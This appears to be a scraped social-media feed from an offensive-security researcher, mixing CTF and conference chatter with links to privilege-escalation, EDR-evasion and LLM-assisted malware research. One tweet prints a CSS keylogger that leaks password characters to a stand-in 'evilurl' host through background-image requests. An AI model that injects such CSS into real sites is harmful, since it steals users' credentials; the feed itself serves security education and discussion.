؜

BS-free offensive security tweets. I host @secTalksNL & @securityCTF. Strong exploit dev fetish. Baker of 0days.

[؜ @xxByte]

magic:

CSS keylogger

<style>
input[type="password"][value$="a"] {
 background-image: url("http[:]//evilurl[:]/a");
}

input[type="password"][value$="b"] {
  background-image: url("http[:]//evilurl[:]/b");
}
</style>

[؜ @xxByte]

Update: I just polished one of the community's favorite libraries on Windows Privilege Escalation for penetration testers and red teamers.

Focused on practical attack paths & real-world privilege escalation techniques seen in my enterprise assessments.

https://t.co/oi72buUc1M

[؜ @xxByte]

Can a small, self-hosted LLM outperform state-of-the-art models at evasive malware development?

https://t.co/1fMjbqmKnr

credits: @kyleavery, @OutflankNL, @BlackHatEvents

#ai #exploits #offsec

[؜ @xxByte]

@ITSecurityguard Peter hurt; send bitcoin. lol

[؜ @xxByte]

@BlackHills this link for @DarknetDiaries / @JackRhysider listeners is dead (404)

[؜ @xxByte]

How are you interviewing your security tech candidates? #infosec

[؜ @xxByte]

@WesSec_ @w34kp455 great tip! If you cannot install it use `grep --mmap mypass file_name.txt`

[؜ @xxByte]

@w34kp455 Sad. i was hoping @defusesec's crackstation is using this list but apparently not:

[Outflank @OutflankNL]

New Blog Alert! 🚨

Introducing Early Cascade Injection, a stealthy process injection technique that targets Windows process creation, avoids cross-process APCs, and evades top-tier EDRs.

Learn how it combines Early Bird APC Injection & EDR-Preloading: https://t.co/oWreVHNKyL

[؜ @xxByte]

@Bsideslisbon @Arr0way any updates? :D

[؜ @xxByte]

Uh-oh just heard about @BSidesLisbon and I really want to go! Anyone not going to make it? I would love to take your ticket.

#BSidesLisbon #Lisbon #infosecurity

[BSidesLisbon @Bsideslisbon]

It was incredible! The record was broken. Less than 24h and the tickets are sold out! See you all in November! (Yes, there will be a much smaller number of tickets available at a later time).

[؜ @xxByte]

@bitvavocom someone is trying to (sms) phish your users in the #Netherlands; you should probably do something about that.

[؜ @xxByte]

@JBl4nks @0xTib3rius facebook is built on php, go hack it if you can :-p

[؜ @xxByte]

@Hakeedo @HaboobSa we need a writeup for the red challenge!

[؜ @xxByte]

@cyberomin highest number in the column. pretty straightforward 😊 good luck

[؜ @xxByte]

@0xMaz anyone solved the red??

[؜ @xxByte]

@Hakeedo @HaboobSa i am way too invested in red now. I really could use a hint!

[؜ @xxByte]

@a_greenberg @DarknetDiaries take notes

[؜ @xxByte]

@PhillipWylie @Blackhatmea @AliasInfosec @DCG940 is it going to be streamed? or recoreded somewhere we can access later :)

[raptor @0xdea]

#Ubuntu Privilege Escalation bash one-liner using CVE-2023-32629 & CVE-2023-2640

https://t.co/q2kisqzeWb

Nifty #PoC!

https://t.co/to1G6PGc94